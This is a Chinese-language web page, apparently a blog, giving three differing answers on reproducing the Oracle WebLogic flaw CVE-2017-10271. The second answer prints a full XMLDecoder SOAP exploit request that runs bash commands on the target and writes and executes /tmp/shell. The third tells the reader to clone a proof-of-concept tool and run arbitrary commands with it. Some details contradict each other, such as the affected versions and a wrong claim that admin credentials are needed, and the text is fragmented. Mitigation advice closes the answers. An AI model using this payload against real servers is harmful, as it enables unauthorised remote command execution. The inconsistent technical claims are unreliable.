### 回答1：
CVE-2017
-10271
漏洞是Oracle
WebLogic Server中的一个远程
代码执行漏洞。攻击者可以通过发送特制的HTTP请求来利用该
漏洞，从而在受影响的系统上
执行任意
代码。该
漏洞已经被公开披露，并且已经有一些工具可以用来
复现该
漏洞。但是，我们不建议未经授权的人员进行
漏洞复现，因为这可能会导致系统被攻击者入侵。如果您需要测试您的系统是否受到该
漏洞的影响，请咨询安全专家或厂商提供的安全补丁。
### 回答2：
CVE-2017
-10271
漏洞是Oracle
WebLogic Server的一个远程
代码执行漏洞，攻击者可以通过构造特定的HTTP请求来向受影响的
WebLogic服务器发送恶意
代码，在未经授权的情况下
执行任意命令或获取服务器操作权限。
漏洞复现需要以下步骤：
1. 确定
漏洞影响的
WebLogic版本，
CVE-2017
-10271
漏洞影响的版本为12.1.2.0、12.1.3.0、12.2.1.0、12.2.1.1和12.2.1.2，若
WebLogic版本符合以上版本则可以进行后续
漏洞复现操作。
2.通过
漏洞利用工具Metasploit或手工构造特定的HTTP请求向受影响的
WebLogic服务器发送恶意
代码，触发
漏洞，远程
代码执行。
3.构造特定的HTTP请求需要以下信息：
- 目标
WebLogic服务器的IP地址和端口号。
- WebLogic管理员账户的用户名和密码，用于获取控制台访问权限。
- 漏洞利用
代码，用于构造HTTP请求并发送到目标
WebLogic服务器。
其中，
漏洞利用
代码结构大致如下：
POST /wls
-wsat/CoordinatorPortType HTTP/1.1
Host: target_
weblogic_
server_ip:target_port
Content
-Type: text/xml; charset=utf
-8
Content
-Length: 800
<?xml version="1.0" encoding="UTF
-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>
-c</string>
</void>
<void index="2">
<string>echo "";whoami;id;uname
-a;echo "> /tmp/shell;sudo chmod 777 /tmp/shell;/tmp/shell</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
这段
代码用于请求
WebLogic服务器上的CoordinatorPortType服务，
执行恶意
代码，获取远程服务器的操作权限。其中，</string>字符串后面的内容是要在目标服务器上
执行的命令。
4.成功
复现漏洞后，攻击者可以通过远程命令
执行获取服务器操作权限，对受影响的服务器进行攻击、篡改或窃取敏感数据等恶意行为。
因此，
WebLogic管理员应当及时采取措施，升级至最新版本，关闭不必要的端口，增强安全性，以保护
WebLogic服务器不受恶意攻击。
### 回答3：
CVE-2017
-10271是一个Oracle
WebLogic Server中的远程
执行代码漏洞，
漏洞影响Oracle
WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.1和12.2.1.2版本。
漏洞复现步骤如下：
步骤一：下载
漏洞复现工具
首先要下载
漏洞复现工具
weblogic-CNVD
-2019
-48814：
git clone https://github.com/tdy218/Oracle
Weblogic-CNVD
-C
-2019
-48814.git
步骤二：搭建
漏洞环境
安装Oracle
WebLogic Server 12.2.1.3.0，安装过程略过。在安装完成后，启动Oracle
WebLogic Server管理服务：
${ORACLE_HOME}/user_projects/domains/base_domain/bin/start
WebLogic.sh
启动管理服务后，访问http://localhost:7001/console，进入控制台界面，输入管理员账号密码，进入控制台主页。
步骤三：运行
漏洞利用脚本
进入
weblogic-CNVD
-2019
-48814目录，运行poc.py脚本，如下所示：
python poc.py http://localhost:7001 begin ${arbitary command}
其中，http://localhost:7001是
WebLogic Server地址，${arbitary command}是任意需要
执行的命令，例如：
python poc.py http://localhost:7001 begin ls
上述命令将列出当前目录下的文件列表。
漏洞利用成功后，可以看到攻击者
执行的命令结果。
除了使用上述脚本之外，攻击者还可以手动利用该
漏洞，具体步骤可以查看
漏洞详情。
总结：
CVE-2017
-10271
漏洞是一种影响Oracle
WebLogic Server的远程
执行代码漏洞，攻击者可以利用该
漏洞在目标服务器上
执行任意命令。为了防止该
漏洞的攻击，我们可以进行以下措施：
1. 及时升级Oracle
WebLogic Server版本，以防止攻击者利用
漏洞；
2. 禁用T3协议，仅允许HTTPS连接；
3. 配置防火墙，限制
WebLogic Server管理服务的访问来源；
4. 运行安全软件，及时发
现漏洞和攻击行为。
超级会员免费看
订阅专栏 解锁全文
7253
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
